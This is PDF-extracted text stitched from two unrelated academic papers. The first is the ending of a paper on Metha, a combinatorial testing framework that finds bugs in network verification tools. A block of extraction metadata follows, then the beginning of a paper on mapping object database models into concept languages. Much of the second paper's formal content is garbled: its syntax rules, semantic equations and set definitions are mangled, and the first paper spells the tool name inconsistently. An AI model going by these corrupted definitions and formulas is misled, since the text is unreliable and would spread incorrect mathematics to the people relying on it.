**Performance** Running a single test case took an average of two minutes. We run both the tool under test as well as the virtualized testbed in parallel and found that most of the time is spent waiting on the testbed to converge. The generation of a combinatorial test suite with PICT for the baseline network with 4 routers took an average of 6 minutes. Over the entire test suite, this time is negligible. Running the entire setup took us several days. The runtime depends highly on the number of discrepancies and the number of bugs causing them.
<table>
<thead>
<tr>
<th>Approach</th>
<th># Discovered Bugs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Random Baseline</td>
<td>3</td>
</tr>
<tr>
<td>Semantic Metha</td>
<td>16</td>
</tr>
<tr>
<td>Bounded Metha</td>
<td>17</td>
</tr>
<tr>
<td>Full Metha</td>
<td>20</td>
</tr>
</tbody>
</table>
Table 2: Every component of Metha allows it to find more bugs with the same number of test runs.
Figure 5: The achieved combinatorial coverage increases with every single component of Metha. Full Metha achieves complete combinatorial coverage.
8.2 Fault Localization
Whenever Møtha detects a discrepancy between the routing tables of the tool under test and those of the oracle, it goes into fault localization to isolate all independent bugs. Fault localization relies on delta debugging (cf. §6) which creates additional test cases to identify the configuration statements causing the bugs. In the following, we evaluate its overhead, i.e., the number of additional test cases Møtha had to create.
Experiment setup For this experiment, we ran Møtha using the same topology as before and tested the full set of configuration features. Whenever Møtha detected a discrepancy, we recorded the number of additional test cases required to find all independent bugs and the number of discovered bugs.
Results On average, Møtha used 14.1 additional test cases to locate all bugs within a test case. The number of additional test cases ranged from as low as 7, to localize a single bug, up to as high as 58, to localize 5 independent bugs. The number of additional test cases mostly depends on the number of independent bugs within a single detected discrepancy. The number of configuration statements that actually cause the bug plays a minor role. Also, we have observed that the detected bugs are all caused by a few configuration statements (one or two), even though multiple configuration statements were active during the tests. This confirms the observation that bugs are often caused by the interaction of few features [20, 31] and shows that combinatorial testing is a useful technique in this setting.
8.3 Real Bugs
In addition, we showcase our end-to-end implementation of Møtha by testing three different network analysis and verification tools: Batfish [17], NV [13], and C-BGP [28]. We show that Møtha finds real bugs and report them in Table 3.
Experiment setup We ran Møtha for several days on all three tools and with several different setups. Batfish is the most complete and advanced tool as it can handle configurations of many different vendors and supports a wide variety of configuration features. NV itself is an intermediate language for control plane verification that allows to build models of any routing protocols and their configurations. It provides simulation and verification abilities. We tested the simulation only, the discovered bugs, however, most likely also exist in the verification part as both rely on the same network model. For Batfish and NV, we used both Cisco IOS and Juniper configurations. C-BGP has its own configuration language.
Results As shown in Table 3, Møtha found a total of 62 bugs. The developers of both Batfish and NV confirmed the discovered bugs to be real bugs. To better understand the nature of the bugs, we classified them by their type (i.e., whether they lead to a crash or go unnoticed) and by the configuration feature category itself (e.g., OSPF). Only a few of the bugs produce a clear error. This is most likely also because these are noticed more often and reported. The large majority of the bugs are silent semantic bugs which are extremely difficult to notice. These are the sneakiest bugs and can lead to false analyses and answers by the verifier. These bugs include all the configuration features discussed in §2 showing that they affect the analysis of commonly used features, such as route redistribution and aggregation, and named communities.
The bugs are distributed quite evenly among all tested parts of the network model. We did not find one specific protocol or configuration feature that is especially error-prone.
9 Discussion
What about the testbed? Møtha detects bugs by looking for discrepancies between the tool under test and an oracle. For the oracle, Møtha uses a testbed running real router firmwares. The testbed just needs to be large enough to fully exercise all configuration features. Normally, a small testbed of few routers suffices and also helps speed up the testing. In this paper, we rely on a virtualized testbed. To use a physical testbed instead, one simply has to change the SSH/Telnet configurations to connect to the physical devices.
A virtualized testbed comes with several advantages. It provides more flexibility in terms of the settings one can test and the time needed to setup. For example, there is no rewiring needed to test different topologies. In addition, it is very simple to test the same topology with a different device category or with devices from another vendor: one simply has to exchange the router image.
What about more targeted tests? Møtha’s test suite can be adjusted to the developers requirements by restricting the set of configuration features, adjusting the number of values per feature, and changing the number of interacting features. The tests required to cover the search space mainly depend on the
number of values per feature and the number of simultaneous feature interactions, while the set of features is secondary. By default Metha tests three values per feature and considers pairwise interactions. This choice strikes a good balance between the number of tests required and thorough testing, as our results confirm: Metha found all bugs that the random approaches discovered with fewer tests, despite using "only" the boundary values; and all discovered bugs are caused by one or two interacting configuration features, despite considering interactions of more than just two features.
Metha does not replace traditional unit and system testing, but provides an additional way to find latent bugs anywhere in the system. The advantage of Metha is that it requires minimal developer involvement and can be run alongside traditional tests without any additional effort. If desired one can run extensive tests by considering more elaborate feature interactions and more than three values per feature. Often with fuzz testing, one just lets the testing system run indefinitely and collect bug reports along the way.
10 Related Work
In this section, we first discuss current network analysis and verification tools. Then, we survey related work on testing static analyzers and verifiers, the various testing initiatives in the field of networking, delta debugging, and fuzz testing.
Network analyzers & verifiers Our work aims to facilitate the development of network analysis and verification tools through thorough testing. Over the years, we have seen a rise in tools that simulate networks [28], verify properties of networks and their configurations [3, 14, 19, 30], and tools that analyze aspects of networks [11, 12, 18, 23]. All of these tools have in common that they in some way or another use a network model to analyze and verify the network. Any bug or inaccuracy that exists within that network model undermines the soundness of the tools' results and analyses.
In contrast, CrystalNet [21] is a cloud-scale, high-fidelity network emulator running real network device firmwares instead of relying on a network model. Hence, it accurately resembles the real network (e.g., vendor-specific behaviors and bugs in device firmwares are captured).
Testing analyzers and verifiers The problem of ensuring the correctness of analysis and verification tools is not specific to networks. In the field of static analysis, several works exist that pursue the same goal. Bugariu et al. [5] apply a unit testing approach, meaning they do not test the entire system but components thereof which simplifies the test generation. Since Metha treats the tool under test as a black box it cannot test certain components separately. Cuqo et al. [8] randomly generate input programs. This technique is mostly effective at testing the robustness of the analyzers. Similar to Metha, Andreasen et. al [1] apply delta debugging to find small input programs that help developers understand the bug faster.
Testing in networking Prior work on testing in networking has mainly focused on testing the network and its forwarding state [36], and SDN controllers [2, 6, 29].
Closest to Metha is Hoyan [32], a large-scale configuration verifier, in which the results of the verifier (i.e., network model) are continuously compared to the actual network for inaccuracies. It does so during operation and only covers cases that have actually occurred in the network. Metha in contrast proactively tests to detect the bugs before deployment.
Delta debugging In automated testing tools, delta debugging is a well-established technique [33, 35] that allows to automatically reduce a failing test case to the relevant circumstances (e.g., lines of code or input parameters). Over the years, researchers came up with several extensions to the general delta debugging algorithm, such as a hierarchical approach [26] that takes the structure of the inputs into account. It first explores the more important inputs allowing to prune larger parts of the input space and hence, requiring fewer test cases.
Traditional delta debugging finds one bug at a time even if the test case is ambiguous and exhibits multiple independent bugs. The developer then fixes one bug and reruns delta debugging to find the next. Metha automatically detects the causes of all independent bugs without developer involvement.
Fuzz testing Fuzz testing [15, 34] is an umbrella term for various testing techniques relying on “randomized” input generation. Metha uses a form of grammar-based fuzzing. Due to the complex dependencies within network-wide configurations, Metha first builds a basic configuration structure to ensure semantical validity. Then, it uses fuzzing to test different feature combinations restricted to that structure.
11 Conclusion
We presented Metha, an automated testing framework for network analysis and verification tools that discovers the bugs in their network models before deploying them to production. It does so by generating a wide variety of network configurations according to a test suite defined through combinatorial testing. Metha provides developers with actionable reports about all discovered bugs including a configuration to reproduce them. We implemented Metha and evaluated it on three state-of-the-art tools. In all tools, Metha discovered a total of 62 bugs, 59 of them have been confirmed by the developers. An interesting avenue for future work would be to extend Metha so that it can also test configuration synthesizers such as [4, 9, 10] as bugs in their models would render them useless.
Acknowledgements
We thank our shepherd Michael Schapira and the anonymous reviewers for their insightful comments and helpful feedback. The research leading to these results was partially supported by an ERC Starting Grant (SyNET) 851809.
References
A Proof of Theorem 1
Proof. By contradiction. Assume that there is a minimal subset \( Q' \subseteq Q \) such that \( tc|_{Q'} \) fails which is not returned in \( S \). We check at least one superset of \( Q' \) for a failure since we will always check the initial set \( Q \). Assume \( C \supseteq Q' \) is a smallest superset of \( Q' \) which is checked. By the assumption of monotonicity, \( tc|_{C} \) must fail, therefore we will minimize \( C \). If \( C = Q' \), then we must minimize to \( Q' \) since \( Q' \) is assumed to be minimal, violating the assumption that \( Q' \) is not returned by the algorithm. If \( Q' \subset C \), then \( C \) will either minimize to \( Q' \) (again violating the original assumption that \( Q' \) is not returned by the algorithm) or to a different minimal subset \( P \). In this case, we generate additional sets to be tested. However, both \( Q' \) and \( P \) are minimal subsets of \( C \), therefore \( Q' \not\subset P \) and \( P \not\subset Q' \). Since \( Q' \neq P \), we know that there must be an element \( e \in P \) which is not in \( Q' \), i.e., such that \( Q' \subseteq C \setminus \{e\} \). The set \( C \setminus \{e\} \) is both strictly smaller than \( C \) and will be added to the sets to check by the algorithm in Line 9 and therefore violates our assumption that \( C \) was a smallest superset of \( Q' \) which is checked.
\[ \]
|
{"Source-Url": "https://www.research-collection.ethz.ch/bitstream/handle/20.500.11850/499146/metha-nsdi21.pdf", "len_cl100k_base": 13380, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 53897, "total-output-tokens": 16411, "length": "2e13", "weborganizer": {"__label__adult": 0.00038814544677734375, "__label__art_design": 0.0003724098205566406, "__label__crime_law": 0.00029277801513671875, "__label__education_jobs": 0.0013380050659179688, "__label__entertainment": 0.0001399517059326172, "__label__fashion_beauty": 0.0001976490020751953, "__label__finance_business": 0.0002949237823486328, "__label__food_dining": 0.00031566619873046875, "__label__games": 0.0011835098266601562, "__label__hardware": 0.0019216537475585935, "__label__health": 0.000453948974609375, "__label__history": 0.0004601478576660156, "__label__home_hobbies": 0.00013065338134765625, "__label__industrial": 0.0004551410675048828, "__label__literature": 0.0004742145538330078, "__label__politics": 0.0002181529998779297, "__label__religion": 0.00042557716369628906, "__label__science_tech": 0.11212158203125, "__label__social_life": 0.00014007091522216797, "__label__software": 0.029083251953125, "__label__software_dev": 0.84814453125, "__label__sports_fitness": 0.0003690719604492187, "__label__transportation": 0.0005888938903808594, "__label__travel": 0.000270843505859375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 68495, 0.03507]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 68495, 0.35428]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 68495, 0.88393]], "google_gemma-3-12b-it_contains_pii": [[0, 49, false], [49, 4642, null], [4642, 9788, null], [9788, 14295, null], [14295, 18253, null], [18253, 22399, null], [22399, 27196, null], [27196, 32782, null], [32782, 38276, null], [38276, 44211, null], [44211, 49898, null], [49898, 54713, null], [54713, 60559, null], [60559, 64616, null], [64616, 67087, null], [67087, 68495, null]], "google_gemma-3-12b-it_is_public_document": [[0, 49, true], [49, 4642, null], [4642, 9788, null], [9788, 14295, null], [14295, 18253, null], [18253, 22399, null], [22399, 27196, null], [27196, 32782, null], [32782, 38276, null], [38276, 44211, null], [44211, 49898, null], [49898, 54713, null], [54713, 60559, null], [60559, 64616, null], [64616, 67087, null], [67087, 68495, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 68495, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 68495, null]], "pdf_page_numbers": [[0, 49, 1], [49, 4642, 2], [4642, 9788, 3], [9788, 14295, 4], [14295, 18253, 5], [18253, 22399, 6], [22399, 27196, 7], [27196, 32782, 8], [32782, 38276, 9], [38276, 44211, 10], [44211, 49898, 11], [49898, 54713, 12], [54713, 60559, 13], [60559, 64616, 14], [64616, 67087, 15], [67087, 68495, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 68495, 0.05323]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
9e59f84b42bcafb85936c3ada6d379a9ea98805f
|
Describing Database Objects in a Concept Language Environment
Alessandro Artale, Francesca Cesarini, and Giovanni Soda
Abstract—In this paper, we formally investigate the structural similarities and differences existing between object database models and concept languages establishing a correspondence between the two environments. Object Databases Models deal with two kinds of data: individual objects, which have an identity, and values, which can be basic values or can have complex structures containing basic values and objects. Concept Languages only deal with individual objects. The correspondence points out the different role played by objects and values in both approaches and defines a way of properly mapping database descriptions into concept language descriptions at both a terminological and assertional level. Once the mapping is achieved, object databases can take advantage of both the algorithms and the results concerning their complexity developed in concept languages.
Index Terms—Concept languages, object databases, knowledge representation.
1 INTRODUCTION
CONCEPT Languages [12], [18], [20] are developed in the Knowledge Representation research area for representing object class knowledge. They describe the structure of objects at a terminological level by means of concepts (one place predicates) and roles (two place predicates), and an external denotational semantics gives meaning to the terms used in the descriptions. Concept languages can also be used to make assertions about individual objects, i.e., to state that an object is in the extension of a concept and that a pair of objects is in the extension of a role. Further, concepts can be distinguished as primitive concepts, where the concept structure is interpreted as a set of necessary conditions and defined concepts, where the concept structure is interpreted as a definition, i.e., a set of necessary and sufficient conditions that must be satisfied by their instances. Thus the extension of a defined concept corresponds to the domain object set whose structure conforms to that description. Deductive reasoning at both a terminological and assertional level is being widely studied: subsumption computation determines whether a subset relationship exists between two concept denotations. The subsumption computation provides a reasoning capability that can be used for investigating both the structural characteristics of classes and the relationships between them and specific objects: these subsumption based inferences constitute what is called taxonomic reasoning. Concept languages exploit taxonomic reasoning in a number of applications: it allows to classify concepts into a taxonomic graph with subsumption as partial order relation, to verify both the consistency of a set of class descriptions and the consistency of instance assertions with respect to their class definitions, or to find the most appropriate class an object can belong to and to optimize query answering. Systems like BACK [19], CANDIDE [5], CLASSIC [9], KRIS [4], KRIPTON [8], Loom [17], NIKL [21], YAK [11] describe a world of objects and relationships among objects, and directly exploit the above mentioned features.
The structural aspects of Object database models [11], [15] traditionally refer to: tuple constructor-based class descriptions and isa hierarchies. They are concerned with a world of individual objects and values and their mutual relationships; values are explicitly dealt with because object descriptions very often use complex values that are local to them [15]. The tuple constructor, specifying relationships between instances of different types, captures an expressive power similar to that of attaching roles to concept descriptions; furthermore, this constructor allows to describe both objects and values. An isa expresses a subset relationship between classes; it is related to the subtyping notion (i.e., to syntactic constraints on class descriptions) but it must be explicitly stated: a isa relationship cannot be inferred from the class structure. For this reason, object databases only capture the semantics of primitive classes, which description indicates only necessary conditions for an object to belong to this class.
Recently, inference techniques derived from concept languages have been applied to object database models [3], [6]. A common aspect of these studies is that they consider object database models enriched by the notion of defined classes. This allows to adapt taxonomic reasoning to deal with the peculiarity of object database model environments and therefore obtain a database equipped with inference capabilities. Exploiting taxonomic reasoning in object database models can be profitable for many database topics on both intensional and extensional levels. As illustrated in [2], [3], [6], [7], isa relationships which can be inferred from class descriptions are made explicit; in other words, the user’s taxonomy is enriched with implicit isa relationships; the user isa relationships are checked with respect to the subsumption relations; the schema consistency is checked by discovering cycles and incoherent classes (i.e., classes with always empty extension); the schema can be transformed into a minimal form where the redundancies with respect to inheritance are removed; query evaluation can be optimized finding the correct placement of a query object in a given taxonomy; individual objects are recognized to belong to a class abstracting their properties and classifying the resulting abstraction (this inference is called instance recognition). Taxonomic reasoning only refers to object structural characteristics, and many other aspects, such as, methods, constraints, etc., are not dealt with. Nevertheless, it is able to provide for a powerful reasoning capability even if it only focuses on some object characteristics.
Since the integration of object and concept environments is being fruitful, our study aims at formally investigating relationships between concept languages and object database models, in order to point out the similarities and differences existing between the two environments. Our work originates from the above mentioned studies, thus we only focus on the structural characteristics of objects. Our view is a model-theoretic one, we illustrate how object database descriptions can be transformed into concept language descriptions by a suitable mapping, capable of maintaining satisfiability. This kind of mapping provides a common framework for evaluating and comparing different object database models with respect to the corresponding concept languages, and can be also exploited for analyzing the nature of the features supported by both object databases and concept languages. Moreover, this mapping allows us to inherit results deriving from concept languages (which have been thoroughly studied), such as complexity results and algorithm techniques.
The object database model and the concept language we refer to are described in Sections 2 and 3. In Section 4, we define a way of mapping database schema descriptions into concept language descriptions while maintaining satisfiability, and an assertional mapping that maintains consistency is discussed in Section 5. Section 6 contains our concluding remarks.
2 THE OBJECT DATABASE MODEL
We consider an Object Database Model that supports the main structural features usually present in this field (see, for example [1], [10], [15]). The main structure of our model is the Class that denotes sets of Objects, each of which is identified by an Object Identifier. Objects in classes can have a complex structure obtained by repeatedly using the tuple and set constructors; therefore, the type system is based on the most widely used type constructors. Type names are provided for simplifying user declarations. The set type allows us to distinguish between single and multivalued attributes; furthermore, we consider set types with cardinality constraints, integrating in the schema description a kind of integrity constraint in the database environment. As regards classes, we distinguish between primitive and defined classes; introducing defined classes allows us to use taxonomic reasoning for database objects [3].
<declaration> ::= <type-declaration> | <class-declaration>
<type-declaration> ::= <type> | <type-id> = <tuple-type>
<class-declaration> ::= <class-id> <class-declaration> | <class-id> <prim-def> isa <class-id> <tuple-type>
<type> ::= <tuple-type> | <class-id> | <type-id> | <basic-type>
<tuple-type> ::= [ <component> ]
<component> ::= <label> <set-type> | <label> : <type>
<set-type> ::= <type> | \{ | \}
<basic-type> ::= string | integer | bool
<prim-def> ::= \{ | \}
Fig. 1. Database syntax.
The database schema \( S \) can be defined by means of the syntax in Fig. 1. Recursive definitions are not allowed. Basic types can include other types besides string and integer; anyway, basic types indicate countable and nonfinite sets. This syntax allows, for instance, to describe the concept of father as the set of all “individuals who are persons with at least one child and all children are persons”:
\[
\text{class } \text{Father} \equiv \text{isa } \text{Person} \land \text{child} \quad \text{[Person]}
\]
Given a set of declarations, i.e., a database schema \( S \), an interpretation \( I_S = (\mathcal{V}, \delta, ^I_S) \) consists of:
- A set \( \mathcal{V} \) of values (the domain of \( ^I_S \)), \( \mathcal{V} = \mathcal{B} \cup \mathcal{O} \cup \mathcal{V}_t \cup \mathcal{V}_g \) with:
1. \( \mathcal{B} = \{^I_{b_i}, b_i\} \), \( b_i \) set of values associated with each basic type; \( b_i \cap b_j = \emptyset, \forall i, j, i \neq j \).
2. \( \mathcal{O} \) is a countable set of symbols called object identifiers disjoint from \( \mathcal{B} \).
3. \( \mathcal{V}_t \) is the set of tuple values: \( \mathcal{V}_t = \{v_i | v_i \text{ is a mapping from the set of labels to } \mathcal{V}\} \). We denote by \( t_i : v_i \) the mapping defined on \( [l_1 ... l_k] \) such that \( v_i(l_i) = v_i, v_i(l_i) = 1, ... k \).
4. \( \mathcal{V}_g \) is the set of set-values: \( \mathcal{V}_g = \{v_i | v_i \subseteq \mathcal{V}\} \). A set-value is denoted by \( [v_i | v_i \subseteq \mathcal{V}] \) such that \( v_i = \mathcal{V}, v_i = 1, ... k \).
- A mapping \( \delta \) that associates a tuple value with each object-identifier: \( \delta : \mathcal{O} \rightarrow \mathcal{V}_t \).
- An interpretation function \( ^{I_S} \) that maps every syntactic constructor to a subset of \( \mathcal{V} \) in such a way that:
\[
\begin{align*}
&\text{(<basic-type>} >^{I_S} \mathcal{B} \\
&\text{(<tuple-type} >^{I_S} = (l_i : v_i, ... l_k : v_k) \mathcal{V}_g \\
&\text{(<set-type} >^{I_S} = (l_i : v_i) \mathcal{V}_g = \{v_i \in \mathcal{V} | m \leq v_i \subseteq \mathcal{V} \leq n \} \\
&\text{(<type-id} >^{I_S} = \text{(<tuple-type} >^{I_S} = \mathcal{V}_g \\
&\text{(<class-id} >^{I_S} = \text{(<tuple-type} >^{I_S} = \mathcal{V}_g \\
&\text{Universal Class} \\
&\text{Defined Class} \\
&\text{Primitive Class}
\end{align*}
\]
For the interpretation of \( \text{Type}(C) \) we have the following recursive definition.
**DEFINITION 1 (Interpretation of \( \text{Type}(C) \): Given the class declarations:**
\[
\text{class } C_0 \equiv \text{prim-def} \equiv \text{tuple-type}_0
\]
\[
\text{class } C_1 \equiv \text{prim-def} \equiv \text{isa } C_0 \equiv \text{tuple-type}_1
\]
\[
\text{... ... ... } \equiv \text{isa } C_n \equiv \text{tuple-type}_n
\]
\[
\text{... ... ... } \equiv \text{isa } C_{n+1} \equiv \text{tuple-type}_{n+1}
\]
\[
\text{we have:}
\begin{align*}
&\text{(<tuple-type}_0 \equiv \text{(<tuple-type} >^{I_S} \text{(<tuple-type}_n \equiv \text{(<tuple-type} >^{I_S} \text{(<tuple-type}_{n+1} \equiv \text{(<tuple-type} >^{I_S} \\
&\text{(<tuple-type}_0 \equiv \text{(<tuple-type} >^{I_S} \text{(<tuple-type}_n \equiv \text{(<tuple-type} >^{I_S} \text{(<tuple-type}_{n+1} \equiv \text{(<tuple-type} >^{I_S}
\end{align*}
\]
This semantics allows us to consider the \( \text{isa} \) relationship as an inclusion between classes. Moreover, each value can have more than one type [10]: When a value is of type \( t \), then it is of type \( t' \), too, in the case that \( ^{I_S}(t) \subseteq ^{I_S}(t') \). Remark that the interpretation of a class is a set of objects which have a value according to the type of the class; furthermore, these objects must also belong to the interpretation of the classes appearing in the isa clause.
As regards the notion of primitive/defined class, the interpretation of a defined class consists of all the objects verifying the above-mentioned constraints, while the interpretation of a primitive class is a subset of them. For example, in the case of
\[
\text{class } Person \equiv [\text{name: string, birthdate: Date}] \\
\text{class } Project \equiv [\text{proj-code: string, description: string}] \\
\text{class } Student \equiv \text{isa } Person \equiv [\text{registr-num: int, enrolled: } \\
\text{College enrolled: course: string}]
\]
the interpretation of Person is a subset of the objects having a name and a birthdate, while the interpretation of Project is the set of all the objects having a proj-code and a description. Thus, an object having a name and a birthdate must be explicitly asserted belonging to the Person class, while an object having a proj-code and a description always belongs to Project. The interpretation of Student consists of all the objects that belong to Person, have a registr-num, are enrolled to a College, and are enrolled to some courses. Because of the recursive definition of the Type's interpretation, these objects also have a name and a birthdate (inherited from Person). As a matter of fact, the tuple values of the Student objects are obtained by intersecting tuple values defined at least on the name and birthdate la-
bol, and tuple values defined at least on the regist-num, enrolled
and enrolled-course labels. If we know that an object belongs to
class Person and its value is defined at least on labels name, birth-
date, regist-num, enrolled, and enrolled-course, we can deduce that
this object belongs to Student, too. In general, fixed the interpreta-
tion of the primitive classes, the interpretation of the defined
classes is unambiguously determined.
An interpretation $I_P$ is a model for a class C if $C^{I_P} \neq \emptyset$. If a
class has a model, then it is satisfiable; otherwise it is unsatisfiable. A
class C is subsumed by a class D (written $C \subseteq D$) if $C^{I_P} \subseteq D^{I_P}$ for
every interpretation $I_P$. The satisfiability notion can be extended
to generic syntactic constructors. Let $f$ be a syntactic constructor,
then $t$ is satisfiable if there exists an interpretation $I_P$ such that
$f^{I_P} \neq \emptyset$.
In our framework, every isa clause corresponds to a subsumption
relationship: if $C_1$ isa $C_2$, then $C_2$ subsumes $C_1$. The opposite is
not necessarily true; a class can subsume another one even if sub-
sumption is not explicitly defined by means of an isa clause. Be-
cause our interpretation function is totally based on structural
characteristics, the meaning of a structured description is only
determined by its internal structure. This allows us to make an
algorithm to deduce all the subsumption relationships among
classes implicitly given by the structural conditions appearing
in the class descriptions. The algorithm that computes subsumption
between classes is sound and complete, and is polynomial in the
size of a class [3].
3 THE CONCEPT LANGUAGE
We strictly follow the concept language formalism introduced by
[20] and further elaborated by [4], [12], [14], among others. We
examine the minimal concept language that covers our object da-
tabase model; concept terms (denoted by the letters C and D) are
built out of atomic concepts (denoted by the letter A), roles (denoted
by the letter R) and features (denoted by the letter f) according to the
following syntax rule:
$$C, D \rightarrow A \mid C \rightarrow D \mid \forall_{\text{excl}} R.C \mid f:C$$
An interpretation $I_C = (\Delta_C, \lambda_C)$ consists of a set $\Delta_C$ (the domain
of $I_C$) and a function $\lambda_C$ (the interpretation function of $I_C$) that maps
every concept term to a subset of $\Delta_C$, every role to a subset of $\Delta_C \times \Delta_C$ and every feature to a partial function $f^{I_C}$ from $\Delta_C$ to
$\Delta_C$ (we denote the domain of $f^{I_C}$ as $\text{dom}f^{I_C}$) in such a way that the
following equations are satisfied:
$$\forall C \in D^{I_C} = C^{I_C} \subseteq D^{I_C}$$
$$f^{I_C} = [a \in \text{dom}f^{I_C} \mid f^{I_C}(a) \in C^{I_C}]$$
$$\forall_{\text{excl}} R.C^{I_C} = \{a \in \Delta_C \mid \exists b \in \Delta_C \mid (a, b) \in R^{I_C}\}$$
Features were recently introduced for distinguishing between arbitrary
binary relations (roles) and functions (features) [4], [14], [18]. The presence of roles and features allows us to distinguish between
single-valued and multivalued attributes in investigating the correspondence between object database models and concept
languages.
An interpretation $I_C$ is a model for a concept term C if $C^{I_C} \neq \emptyset$. If a
concept term has a model, then it is satisfiable; otherwise it is
unsatisfiable. A concept term C is subsumed by a concept term D
(written $C \subseteq D$) if $C^{I_C} \subseteq D^{I_C}$ for every interpretation $I_C$. Sub-
summation can be reduced to satisfiability since C is subsumed by D
if and only if $C \cap D$ is not satisfied.
Let $A$ be an atomic concept and C be a concept term, one can
introduce descriptions for atomic concepts by terminological axioms
of the form $A \subseteq C$ and $A \equiv C$. An interpretation $I_C$ satisfies $A \subseteq C$
if $A^{I_C} \subseteq C^{I_C}$, while it satisfies $A \equiv C$ if $A^{I_C} = C^{I_C}$. Furthermore,
we denote as an undescribed concept an atomic concept that never
appears as the first argument of a terminological axiom. A termi-
нологy $T$ is a finite set of terminological axioms with the additional
restriction that
1) every atomic concept may appear only once as the first ar-
gument of a terminological axiom in T, and
2) T must not contain cyclic definitions.
Let Person be a concept, child be a role, and wife be a feature.
The following axioms
$$\forall x (x \in \text{Sex} \rightarrow \exists y (y \in \text{Sex} \land \text{Father}(x, y)))$$
$$\forall x (x \in \text{Sex} \rightarrow \exists y (y \in \text{Sex} \land \text{Mother}(x, y)))$$
express that:
1. A Male is a Person;
2. A Father is exactly a Person with at least one and at most
three children, that are Persons, and a wife that is a Person;
3. A Mother is exactly a Person with at least one and at most
three children that are Females, and a wife that is a Person.
Furthermore, the concept HappyFather subsumes VeryHappyFather.
4 MAPPING
At this point we show how it is possible to translate a database
schema into a concept language description while maintaining
satisfiability during mapping. Each class declaration is translated into
a terminological axiom by mapping the isa clause to a con-
junction of concepts, while each tuple type gives rise to a conjunc-
tion of feature or role restrictions, according to whether or not the
label in the tuple type is single- or multivalued. Furthermore, atomic
disjoint concepts are introduced in order to preserve the disjunc-
tiveness between classes, basic types and tuple types.
DEFINITION 2 (Syntactic Mapping): Let $N$ be a function from database
class declarations to terminological axioms. Given the database
class declaration: class C <prim-def> isa C_1, ..., C_n; l_1, ..., l_m; then
$N<$class-declaration$>$1 is the terminological axiom:
$$A < \text{prim} - \text{def} > A_1 \land A_2 \land \ldots \land A_n$$
where the following equations hold:
$$N[l_i; t_i] = f_i : \text{N}[t_i]; \text{if } t_i \text{ is not a set type}$$
$$N[l_i; t_i] = \forall_{\text{excl}} R_i \cdot N[t_i]; \text{if } t_i = [f_i]_{n,m}$$
For $N[t_i]$ we have:
1. Let $t_i$ be a basic type, then: $N[t_i] = N[t_i] = A_0$
2. Let $t_i$ be a class name, then: $N[t_i] = N[C_i] = A_i$
and if $A_i$ is a concept then $A_i \subseteq A_i$
3. Let $t_i = [l_1; t_1, l_2; t_2, ..., l_m; t_m]$, then:
2. Although $C \cap D$ does not belong to the original language, we
can use a modified set of rules, borrowed from a more expressive
language with existential quantification and negation of primitive
concepts. This leads to an algorithm for satisfiability (see [13] for more
details).
4.1 Consistency
In order to show that our mapping is consistency-preserving, it is useful to define an expanded form for database class declarations. Arbitrary class descriptions can be rewritten as equivalent expanded class descriptions by applying the following expansion procedure—EXP(C)—that maintains the equivalence in meaning to the original class declaration.
3. In the following, we will use `String` and `Int` as undescended concepts mapping the set of basic values `string` and `integer`.
denoting arbitrary sets of objects. Then \( o \in C^D \), and \( C \) is satisfiable. A tuple type is unsatisfiable iff:
1. For a label \( l \) there is an unsatisfiable type \( t_l \);
2. For a label \( l \), we have \( l; t_{p_l} l; t_{q_l} \subseteq \{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \emptyset \).
**Case 1.** We only show the case with \( t_l \) unsatisfiable class (the proof of the other case is similar). Since in this case \( \mathcal{N}[l; t_l] = f_{l}; \mathcal{N}[l,t_l] \), assuming by induction that \( \mathcal{N}[t_l] = A_t \) is unsatisfiable, then \( A_t^k \) is \( \emptyset \), and
\[
\{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \{ a \in dom_{t_{(p_l)}}^k \mid f_{(a)}^k (a) \in A_t^k \} = \emptyset.
\]
Then \( \mathcal{N}[C] \) is unsatisfiable.
**Case 2.** We show how, each time that
\[
\{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \emptyset, \quad \mathcal{N}[l; t_{p_l}] \cap \mathcal{N}[l; t_{q_l}]
\]
is unsatisfiable.
a) \( t_p \) and \( t_q \) have different types.
If only one of them is a set type then the same label must be both a relation and a feature; we then obtain unsatisfiability. If both \( t_p \) and \( t_q \) are not set types, then: \( \mathcal{N}[l; t_{p_l}] \cap \mathcal{N}[l; t_{q_l}] = f_{l} ; (\mathcal{N}[t_{p_l}] \cap \mathcal{N}[t_{q_l}]). \) Assuming that \( t_p \) is a class and \( t_q \) is a tuple type, then \( (\mathcal{N}[t_{p_l}]^k) \subseteq (A_t^k) \) and \( (\mathcal{N}[t_{q_l}]^k) \subseteq (A_t^k) \), and \( (A_t^k) \cap (A_t^k) = \emptyset \); therefore, the thesis is true. The case that \( t_p \) or \( t_q \) is a basic type name is trivial.
b) Both \( t_p \) and \( t_q \) are set types:
\[
\{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \emptyset, \quad \text{iff 1:} \ min_y > \max_y \text{ or } \max_y < \min_y;
\]
\[
